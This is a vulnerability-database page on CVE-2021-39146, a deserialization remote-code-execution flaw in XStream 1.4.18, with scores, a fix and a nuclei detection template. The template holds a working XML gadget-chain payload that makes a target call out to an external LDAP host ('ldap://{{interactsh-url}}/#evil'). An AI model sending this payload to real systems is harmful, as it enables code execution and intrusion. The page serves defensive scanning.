HexBrain

Browse / CVEs / CVE-2021-39146

CVE-2021-39146· xstream project / xstream· CWE-434

XStream 1.4.18 - Arbitrary Code Execution

highseverity
8.5CVSS score
14.3%likelihood of exploitation, next 30 days
97%of all CVEs are less likely
Readycheck to confirm it

XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade XStream to a version that is not affected by CVE-2021-39146.

How to confirm it

Send: POST /
Positive when: contains in interactsh_protocol "dns" AND contains "timestamp" or "com.thoughtworks.xstream" AND contains in header "application/json" AND status 500

Run it with nuclei: nuclei -id CVE-2021-39146 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2021-39146

info:
  name: XStream 1.4.18 - Arbitrary Code Execution
  author: pwnhxl
  severity: high
  description: |
    XStream 1.4.18 is susceptible to remote code execution. An attacker can execute commands of the host by manipulating the processed input stream, thereby making it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site. Setups which followed XStream's security recommendations with an allow-list are not impacted.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: |
    Upgrade XStream to a version that is not affected by CVE-2021-39146.
  reference:
    - https://x-stream.github.io/CVE-2021-39146.html
    - https://github.com/x-stream/xstream/security/advisories/GHSA-p8pq-r894-fm8f
    - https://security.netapp.com/advisory/ntap-20210923-0003/
    - https://nvd.nist.gov/vuln/detail/CVE-2021-39146
    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 8.5
    cve-id: CVE-2021-39146
    cwe-id: CWE-434
    epss-score: 0.143
    epss-percentile: 0.96632
    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: xstream_project
    product: xstream
  tags: cve2021,cve,xstream,deserialization,rce,xstream_project,vuln

http:
  - raw:
      - |
        POST / HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/xml

        <sorted-set>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>test</type>
            <value class='javax.swing.MultiUIDefaults' serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                  <default>
                    <loadFactor>0.75</loadFactor>
                    <threshold>525</threshold>
                  </default>
                  <int>700</int>
                  <int>0</int>
              </hashtable>
              <javax.swing.UIDefaults>
                  <default>
                    <defaultLocale>zh_CN</defaultLocale>
                    <resourceCache/>
                  </default>
              </javax.swing.UIDefaults>
              <javax.swing.MultiUIDefaults>
                  <default>
                    <tables>
                    <javax.swing.UIDefaults serialization='custom'>
                      <unserializable-parents/>
                      <hashtable>
                        <default>
                          <loadFactor>0.75</loadFactor>
                          <threshold>525</threshold>
                        </default>
                        <int>700</int>
                        <int>1</int>
                        <string>lazyValue</string>
                        <javax.swing.UIDefaults_-ProxyLazyValue>
                          <className>javax.naming.InitialContext</className>
                          <methodName>doLookup</methodName>
                          <args>
                            <string>ldap://{{interactsh-url}}/#evil</string>
                          </args>
                        </javax.swing.UIDefaults_-ProxyLazyValue>
                      </hashtable>
                      <javax.swing.UIDefaults>
                        <default>
                          <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                          <resourceCache/>
                        </default>
                      </javax.swing.UIDefaults>
                    </javax.swing.UIDefaults>
                    </tables>
                  </default>
              </javax.swing.MultiUIDefaults>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
          <javax.naming.ldap.Rdn_-RdnEntry>
            <type>test</type>
            <value class='com.sun.org.apache.xpath.internal.objects.XString'>
              <m__obj class='string'>test</m__obj>
            </value>
          </javax.naming.ldap.Rdn_-RdnEntry>
        </sorted-set>

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "timestamp"
          - "com.thoughtworks.xstream"
        condition: or

      - type: word
        part: header
        words:
          - "application/json"

      - type: status
        status:
          - 500

References

Use this check only on systems you are authorised to test. Where the data comes from